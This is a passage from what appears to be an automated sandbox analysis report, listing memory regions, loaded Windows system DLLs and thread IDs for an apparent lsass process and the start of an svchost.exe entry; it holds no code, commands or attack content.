0x7ffd1c970000 region_type = mapped_file name = "lsasrv.dll" filename = "\\Windows\\System32\\lsasrv.dll" (normalized: "c:\\windows\\system32\\lsasrv.dll") Region: id = 2961 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2962 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2963 start_va = 0xef976d0000 end_va = 0xef976d6fff entry_point = 0x0 region_type = private name = "private_0x000000ef976d0000" filename = "" Region: id = 2964 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2965 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d050000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2966 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd50000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2967 start_va = 0xef978a0000 end_va = 0xef979bffff entry_point = 0x0 region_type = private name = "private_0x000000ef978a0000" filename = "" Region: id = 2968 start_va = 0xef976e0000 end_va = 0xef976e6fff entry_point = 0x0 region_type = private name = "private_0x000000ef976e0000" filename = "" Region: id = 2970 start_va = 0x7ffd1c8a0000 end_va = 0x7ffd1c96efff entry_point = 0x7ffd1c8a0000 region_type = mapped_file name = "samsrv.dll" filename = "\\Windows\\System32\\samsrv.dll" (normalized: "c:\\windows\\system32\\samsrv.dll") Region: id = 2971 start_va = 0xef976f0000 end_va = 0xef976fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef976f0000" filename = "" Region: id = 2972 start_va = 0xef978a0000 end_va = 0xef9791ffff entry_point = 0x0 region_type = private name = "private_0x000000ef978a0000" filename = "" Region: id = 2973 start_va = 0xef979b0000 end_va = 0xef979bffff entry_point = 0x0 region_type = private name = "private_0x000000ef979b0000" filename = "" Region: id = 2974 start_va = 0x7ff74a4f8000 end_va = 0x7ff74a4f9fff entry_point = 0x0 region_type = private name = "private_0x00007ff74a4f8000" filename = "" Region: id = 2975 start_va = 0xef979c0000 end_va = 0xef97ac0fff entry_point = 0x0 region_type = private name = "private_0x000000ef979c0000" filename = "" Region: id = 2976 start_va = 0xef979c0000 end_va = 0xef97ac0fff entry_point = 0x0 region_type = private name = "private_0x000000ef979c0000" filename = "" Region: id = 2977 start_va = 0xef979c0000 end_va = 0xef97ac0fff entry_point = 0x0 region_type = private name = "private_0x000000ef979c0000" filename = "" Region: id = 2978 start_va = 0xef979c0000 end_va = 0xef97ac0fff entry_point = 0x0 region_type = private name = "private_0x000000ef979c0000" filename = "" Region: id = 2979 start_va = 0xef979c0000 end_va = 0xef97ac0fff entry_point = 0x0 region_type = private name = "private_0x000000ef979c0000" filename = "" Region: id = 2981 start_va = 0xef97700000 end_va = 0xef9770ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97700000" filename = "" Region: id = 2982 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c870000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2983 start_va = 0x7ffd1c840000 end_va = 0x7ffd1c863fff entry_point = 0x7ffd1c840000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2984 start_va = 0x7ffd1c800000 end_va = 0x7ffd1c839fff entry_point = 0x7ffd1c800000 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 2985 start_va = 0xef97920000 end_va = 0xef9799ffff entry_point = 0x0 region_type = private name = "private_0x000000ef97920000" filename = "" Region: id = 2986 start_va = 0x7ff74a4f6000 end_va = 0x7ff74a4f7fff entry_point = 0x0 region_type = private name = "private_0x00007ff74a4f6000" filename = "" Region: id = 2987 start_va = 0xef979c0000 end_va = 0xef97a3ffff entry_point = 0x0 region_type = private name = "private_0x000000ef979c0000" filename = "" Region: id = 2988 start_va = 0x7ff74a4f4000 end_va = 0x7ff74a4f5fff entry_point = 0x0 region_type = private name = "private_0x00007ff74a4f4000" filename = "" Region: id = 2989 start_va = 0xef97710000 end_va = 0xef97712fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97710000" filename = "" Region: id = 2990 start_va = 0xef979a0000 end_va = 0xef979a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef979a0000" filename = "" Region: id = 2991 start_va = 0xef97a40000 end_va = 0xef97e39fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97a40000" filename = "" Region: id = 3030 start_va = 0x7ffd1c7f0000 end_va = 0x7ffd1c7f1fff entry_point = 0x7ffd1c7f0000 region_type = mapped_file name = "msprivs.dll" filename = "\\Windows\\System32\\msprivs.dll" (normalized: "c:\\windows\\system32\\msprivs.dll") Region: id = 3031 start_va = 0x7ffd1c7a0000 end_va = 0x7ffd1c7effff entry_point = 0x7ffd1c7a0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 3032 start_va = 0x7ffd1c770000 end_va = 0x7ffd1c795fff entry_point = 0x7ffd1c770000 region_type = mapped_file name = "negoexts.dll" filename = "\\Windows\\System32\\negoexts.dll" (normalized: "c:\\windows\\system32\\negoexts.dll") Region: id = 3033 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3034 start_va = 0x7ffd1c750000 end_va = 0x7ffd1c767fff entry_point = 0x7ffd1c750000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 3035 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3036 start_va = 0x7ffd1c660000 end_va = 0x7ffd1c74afff entry_point = 0x7ffd1c660000 region_type = mapped_file name = "kerberos.dll" filename = "\\Windows\\System32\\kerberos.dll" (normalized: "c:\\windows\\system32\\kerberos.dll") Region: id = 3037 start_va = 0xef97e40000 end_va = 0xef97e4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97e40000" filename = "" Region: id = 3038 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c640000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3039 start_va = 0xef97e50000 end_va = 0xef97e50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3040 start_va = 0xef97e50000 end_va = 0xef97e50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3041 start_va = 0xef97e50000 end_va = 0xef97e50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3042 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f350000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3043 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3044 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3074 start_va = 0xef97e50000 end_va = 0xef97e50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97e50000" filename = "" Region: id = 3075 start_va = 0xef97e50000 end_va = 0xef97f50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3076 start_va = 0xef97e50000 end_va = 0xef97f50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3077 start_va = 0xef97e50000 end_va = 0xef97f50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3078 start_va = 0x7ffd1c510000 end_va = 0x7ffd1c577fff entry_point = 0x7ffd1c510000 region_type = mapped_file name = "msv1_0.dll" filename = "\\Windows\\System32\\msv1_0.dll" (normalized: "c:\\windows\\system32\\msv1_0.dll") Region: id = 3079 start_va = 0xef97e50000 end_va = 0xef97e5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97e50000" filename = "" Region: id = 3080 start_va = 0xef97e50000 end_va = 0xef97e50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3081 start_va = 0x7ffd1c440000 end_va = 0x7ffd1c50efff entry_point = 0x7ffd1c440000 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 3082 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c390000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3083 start_va = 0x7ffd1c350000 end_va = 0x7ffd1c38cfff entry_point = 0x7ffd1c350000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 3084 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3085 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c330000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3086 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3087 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3088 start_va = 0x7ffd1c310000 end_va = 0x7ffd1c32afff entry_point = 0x7ffd1c310000 region_type = mapped_file name = "tspkg.dll" filename = "\\Windows\\System32\\TSpkg.dll" (normalized: "c:\\windows\\system32\\tspkg.dll") Region: id = 3089 start_va = 0xef97e50000 end_va = 0xef97e5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97e50000" filename = "" Region: id = 3090 start_va = 0x7ffd1c2c0000 end_va = 0x7ffd1c306fff entry_point = 0x7ffd1c2c0000 region_type = mapped_file name = "pku2u.dll" filename = "\\Windows\\System32\\pku2u.dll" (normalized: "c:\\windows\\system32\\pku2u.dll") Region: id = 3091 start_va = 0x7ffd1c260000 end_va = 0x7ffd1c2bbfff entry_point = 0x7ffd1c260000 region_type = mapped_file name = "livessp.dll" filename = "\\Windows\\System32\\livessp.dll" (normalized: "c:\\windows\\system32\\livessp.dll") Region: id = 3092 start_va = 0xef97e50000 end_va = 0xef97e50fff entry_point = 0x0 region_type = private name = "private_0x000000ef97e50000" filename = "" Region: id = 3093 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c220000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3094 start_va = 0x7ffd1c1e0000 end_va = 0x7ffd1c219fff entry_point = 0x7ffd1c1e0000 region_type = mapped_file name = "wdigest.dll" filename = "\\Windows\\System32\\wdigest.dll" (normalized: "c:\\windows\\system32\\wdigest.dll") Region: id = 3095 start_va = 0xef97e50000 end_va = 0xef97e5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97e50000" filename = "" Region: id = 3096 start_va = 0xef97e50000 end_va = 0xef97e60fff entry_point = 0xef97e50000 region_type = mapped_file name = "c_28591.nls" filename = "\\Windows\\System32\\C_28591.NLS" (normalized: "c:\\windows\\system32\\c_28591.nls") Region: id = 3097 start_va = 0xef97e70000 end_va = 0xef98144fff entry_point = 0xef97e70000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3098 start_va = 0x7ffd1c170000 end_va = 0x7ffd1c1dbfff entry_point = 0x7ffd1c170000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 3099 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce20000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3100 start_va = 0xef98150000 end_va = 0xef9815ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef98150000" filename = "" Region: id = 3101 start_va = 0xef98150000 end_va = 0xef98150fff entry_point = 0x0 region_type = private name = "private_0x000000ef98150000" filename = "" Region: id = 3102 start_va = 0x7ffd1c150000 end_va = 0x7ffd1c161fff entry_point = 0x7ffd1c150000 region_type = mapped_file name = "efslsaext.dll" filename = "\\Windows\\System32\\efslsaext.dll" (normalized: "c:\\windows\\system32\\efslsaext.dll") Region: id = 3103 start_va = 0x7ffd1c110000 end_va = 0x7ffd1c142fff entry_point = 0x7ffd1c110000 region_type = mapped_file name = "dpapisrv.dll" filename = "\\Windows\\System32\\dpapisrv.dll" (normalized: "c:\\windows\\system32\\dpapisrv.dll") Region: id = 3104 start_va = 0xef98160000 end_va = 0xef981dffff entry_point = 0x0 region_type = private name = "private_0x000000ef98160000" filename = "" Region: id = 3105 start_va = 0x7ff74a3ce000 end_va = 0x7ff74a3cffff entry_point = 0x0 region_type = private name = "private_0x00007ff74a3ce000" filename = "" Region: id = 3106 start_va = 0xef981e0000 end_va = 0xef981e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef981e0000" filename = "" Region: id = 3107 start_va = 0xef981f0000 end_va = 0xef981f0fff entry_point = 0x0 region_type = private name = "private_0x000000ef981f0000" filename = "" Region: id = 3108 start_va = 0xef98200000 end_va = 0xef98200fff entry_point = 0x0 region_type = private name = "private_0x000000ef98200000" filename = "" Region: id = 3109 start_va = 0xef98210000 end_va = 0xef98210fff entry_point = 0x0 region_type = private name = "private_0x000000ef98210000" filename = "" Region: id = 3110 start_va = 0xef98220000 end_va = 0xef98220fff entry_point = 0x0 region_type = private name = "private_0x000000ef98220000" filename = "" Region: id = 3111 start_va = 0xef98230000 end_va = 0xef98230fff entry_point = 0x0 region_type = private name = "private_0x000000ef98230000" filename = "" Region: id = 3112 start_va = 0xef98240000 end_va = 0xef98240fff entry_point = 0x0 region_type = private name = "private_0x000000ef98240000" filename = "" Region: id = 3113 start_va = 0xef98250000 end_va = 0xef98250fff entry_point = 0x0 region_type = private name = "private_0x000000ef98250000" filename = "" Region: id = 3114 start_va = 0x7ffd1c100000 end_va = 0x7ffd1c109fff entry_point = 0x7ffd1c100000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3115 start_va = 0xef98260000 end_va = 0xef982dffff entry_point = 0x0 region_type = private name = "private_0x000000ef98260000" filename = "" Region: id = 3116 start_va = 0x7ff74a3cc000 end_va = 0x7ff74a3cdfff entry_point = 0x0 region_type = private name = "private_0x00007ff74a3cc000" filename = "" Region: id = 3117 start_va = 0xef982e0000 end_va = 0xef9835ffff entry_point = 0x0 region_type = private name = "private_0x000000ef982e0000" filename = "" Region: id = 3118 start_va = 0x7ff74a3ca000 end_va = 0x7ff74a3cbfff entry_point = 0x0 region_type = private name = "private_0x00007ff74a3ca000" filename = "" Region: id = 3119 start_va = 0xef98360000 end_va = 0xef983dffff entry_point = 0x0 region_type = private name = "private_0x000000ef98360000" filename = "" Region: id = 3120 start_va = 0x7ff74a3c8000 end_va = 0x7ff74a3c9fff entry_point = 0x0 region_type = private name = "private_0x00007ff74a3c8000" filename = "" Region: id = 3121 start_va = 0xef98360000 end_va = 0xef98360fff entry_point = 0xef98360000 region_type = mapped_file name = "b2178b99-f9f6-47ad-b0eb-4e709bc8dfda" filename = "\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\b2178b99-f9f6-47ad-b0eb-4e709bc8dfda" (normalized: "c:\\windows\\system32\\microsoft\\protect\\s-1-5-18\\user\\b2178b99-f9f6-47ad-b0eb-4e709bc8dfda") Region: id = 3123 start_va = 0xef98360000 end_va = 0xef98360fff entry_point = 0x0 region_type = private name = "private_0x000000ef98360000" filename = "" Region: id = 3124 start_va = 0x7ffd1c0b0000 end_va = 0x7ffd1c0f6fff entry_point = 0x7ffd1c0b0000 region_type = mapped_file name = "scecli.dll" filename = "\\Windows\\System32\\scecli.dll" (normalized: "c:\\windows\\system32\\scecli.dll") Region: id = 3125 start_va = 0xef98360000 end_va = 0xef983dffff entry_point = 0x0 region_type = private name = "private_0x000000ef98360000" filename = "" Region: id = 3126 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3127 start_va = 0x7ff74a3c8000 end_va = 0x7ff74a3c9fff entry_point = 0x0 region_type = private name = "private_0x00007ff74a3c8000" filename = "" Region: id = 3128 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3129 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3130 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3131 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3132 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3133 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3134 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3135 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3136 start_va = 0xef983e0000 end_va = 0xef983e0fff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 3137 start_va = 0xef975a0000 end_va = 0xef975a0fff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 3138 start_va = 0xef975a0000 end_va = 0xef975a0fff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 3139 start_va = 0xef975a0000 end_va = 0xef975a0fff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 3140 start_va = 0xef975a0000 end_va = 0xef975a0fff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 3141 start_va = 0xef975a0000 end_va = 0xef975a0fff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 3142 start_va = 0xef975a0000 end_va = 0xef975a0fff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 3143 start_va = 0xef975a0000 end_va = 0xef975a0fff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 3251 start_va = 0xef975a0000 end_va = 0xef975a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef975a0000" filename = "" Region: id = 3252 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf50000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 3253 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3446 start_va = 0xef975a0000 end_va = 0xef975dbfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef975a0000" filename = "" Region: id = 3447 start_va = 0xef975e0000 end_va = 0xef975e0fff entry_point = 0xef975e0000 region_type = mapped_file name = "9cd83a8a-5892-4874-ac04-38bb2aecdaea" filename = "\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\9cd83a8a-5892-4874-ac04-38bb2aecdaea" (normalized: "c:\\windows\\system32\\microsoft\\protect\\s-1-5-18\\9cd83a8a-5892-4874-ac04-38bb2aecdaea") Region: id = 4258 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4259 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4260 start_va = 0xef975a0000 end_va = 0xef975a1fff entry_point = 0xef975a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 4261 start_va = 0xef975b0000 end_va = 0xef975b7fff entry_point = 0xef975b0000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 4262 start_va = 0xef975a0000 end_va = 0xef975a1fff entry_point = 0xef975a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 4263 start_va = 0xef975b0000 end_va = 0xef975b7fff entry_point = 0xef975b0000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 4265 start_va = 0xef975a0000 end_va = 0xef9761ffff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 4266 start_va = 0x7ff74a4fe000 end_va = 0x7ff74a4fffff entry_point = 0x0 region_type = private name = "private_0x00007ff74a4fe000" filename = "" Region: id = 4267 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 4278 start_va = 0x7ffd18990000 end_va = 0x7ffd18a42fff entry_point = 0x7ffd18990000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 4279 start_va = 0x7ffd18970000 end_va = 0x7ffd18989fff entry_point = 0x7ffd18970000 region_type = mapped_file name = "bcd.dll" filename = "\\Windows\\System32\\bcd.dll" (normalized: "c:\\windows\\system32\\bcd.dll") Region: id = 4280 start_va = 0x7ffd18960000 end_va = 0x7ffd1896afff entry_point = 0x7ffd18960000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 4281 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4547 start_va = 0xef982e0000 end_va = 0xef983dffff entry_point = 0x0 region_type = private name = "private_0x000000ef982e0000" filename = "" Region: id = 4548 start_va = 0x7ffd195e0000 end_va = 0x7ffd19646fff entry_point = 0x7ffd195e10b4 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 6766 start_va = 0xef983e0000 end_va = 0xef9845ffff entry_point = 0x0 region_type = private name = "private_0x000000ef983e0000" filename = "" Region: id = 6767 start_va = 0x7ff74a3ca000 end_va = 0x7ff74a3cbfff entry_point = 0x0 region_type = private name = "private_0x00007ff74a3ca000" filename = "" Region: id = 7622 start_va = 0xef98460000 end_va = 0xef98460fff entry_point = 0xef98460000 region_type = mapped_file name = "903be937-d4bc-44a8-9134-f1f5a2d9c2c0" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3643094112-4209292109-138530109-1001\\903be937-d4bc-44a8-9134-f1f5a2d9c2c0" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3643094112-4209292109-138530109-1001\\903be937-d4bc-44a8-9134-f1f5a2d9c2c0") Thread: id = 223 os_tid = 0x1d8 Thread: id = 224 os_tid = 0x1dc Thread: id = 225 os_tid = 0x1e0 Thread: id = 226 os_tid = 0x1e4 Thread: id = 227 os_tid = 0x1e8 Thread: id = 237 os_tid = 0x204 Thread: id = 238 os_tid = 0x208 Thread: id = 239 os_tid = 0x20c Thread: id = 240 os_tid = 0x210 Thread: id = 241 os_tid = 0x214 Thread: id = 347 os_tid = 0x3cc Thread: id = 355 os_tid = 0x3ec Thread: id = 615 os_tid = 0x788 Thread: id = 976 os_tid = 0x624 Process: id = "41" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6c90f000" os_pid = "0x228" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BrokerInfrastructure" [0xa], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\DeviceInstall" [0xa], "NT SERVICE\\LSM" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT SERVICE\\SystemEventsBroker" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000615e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3255 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3256 start_va = 0x6ab8ba0000 end_va = 0x6ab8bbffff entry_point = 0x0 region_type = private name = "private_0x0000006ab8ba0000" filename = "" Region: id = 3257 start_va = 0x6ab8bc0000 end_va = 0x6ab8bcefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab8bc0000" filename = "" Region: id = 3258 start_va = 0x6ab8bd0000 end_va = 0x6ab8c4ffff entry_point = 0x0 region_type = private name = "private_0x0000006ab8bd0000" filename = "" Region: id = 3259 start_va = 0x6ab8c50000 end_va = 0x6ab8c53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ab8c50000" filename = "" Region: id = 3260 start_va = 0x7ff6179e0000 end_va = 0x7ff617a02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6179e0000" filename = "" Region: id = 3261 start_va = 0x7ff617a0a000 end_va = 0x7ff617a0afff entry_point = 0x0 region_type = private name = "private_0x00007ff617a0a000" filename = "" 